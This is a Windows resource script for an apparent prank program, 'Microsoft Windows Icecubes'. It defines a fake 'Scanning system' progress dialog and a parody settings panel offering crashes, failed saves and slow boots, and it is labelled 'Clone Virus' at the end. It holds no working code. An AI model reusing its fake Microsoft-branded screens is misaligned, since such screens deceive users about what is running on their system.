ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.RC]ÄÄÄ
#define IDM_ABOUTBOX                    0x0010
#define IDD_ABOUTBOX                    100
#define IDS_ABOUTBOX                    101
#define IDD_VKS_DIALOG_0                102
#define IDD_VKS_DIALOG_1                103
#define IDR_MAINFRAME                   128
#define IDC_CHECK1                      1000
#define IDC_CHECK2                      1001
#define IDC_EDIT3                       1003
#define IDC_SPIN1                       1018
#define IDC_COMBO1                      1004
#define IDC_EDIT1                       1005
#define IDC_CHECK3                      1006
#define IDC_CHECK4                      1007
#define IDC_EDIT2                       1008
#define IDC_BUTTON1                     1009
#define IDC_BUTTON2                     1014
#define IDC_CHECK5                      1010
#define IDC_RADIO1                      1012
#define IDC_RADIO2                      1013
#define IDC_STATIC                      1015
#define IDC_STATIC2                     1016
 
 
11 ICON "icecubes.ico"
 
IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE | 
    WS_CAPTION | WS_SYSMENU
CAPTION "Scanning system for Microsoft Windows Icecubes..."
FONT 8, "Verdana"
BEGIN
    CONTROL         "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11
END
 
 
IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252
STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_APPWINDOW
CAPTION "Microsoft Windows Icecubes"
FONT 8, "MS Sans Serif"
BEGIN
 
    LTEXT           "Manufacturer's default settings (not to be edited)",
                    IDC_STATIC,13,8,200,8
 
    GROUPBOX        "Endurance options",IDC_STATIC,7,23,218,53
    CONTROL         "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX | 
                    WS_TABSTOP,15,36,50,10
    CONTROL         "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX | 
                    WS_TABSTOP,15,54,50,10
 
    EDITTEXT        IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL
    CONTROL         "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,
                    8,12
 
    COMBOBOX        IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT | 
                    WS_VSCROLL | WS_TABSTOP
 
    EDITTEXT        IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL
    LTEXT           "bytes of un-saved  changes",IDC_STATIC,130,55,94,13
 
 
    GROUPBOX        "Save options",IDC_STATIC,7,81,218,69
    CONTROL         "Create incredibly large files",IDC_CHECK3,"Button",
                    BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10
    CONTROL         "Allow me to carry on typing during AutoRecovery saves",
                    IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,
                    195,10
    LTEXT           "Fail AutoRecovery at",IDC_STATIC,25,130,120,13
    LTEXT           "percent",IDC_STATIC2,125,130,50,13
 
    EDITTEXT        IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL
 
    GROUPBOX        "Other options",IDC_STATIC,7,157,218,70
    CONTROL         "Decrease boot speed by 70%",IDC_CHECK5,"Button",
                    BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14
    CONTROL         "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,
                    198,48,10
    CONTROL         "when I least expect it",IDC_RADIO2,"Button",
                    BS_AUTORADIOBUTTON,35,210,83,10
    LTEXT           "Annoy me with that sodding paperclip",IDC_STATIC,25,186,
                    136,10
 
    PUSHBUTTON   "Cancel",IDC_BUTTON1,122,233,50,12
    DEFPUSHBUTTON   "Ok",IDC_BUTTON2,64,233,50,12
 
END





Clone Virus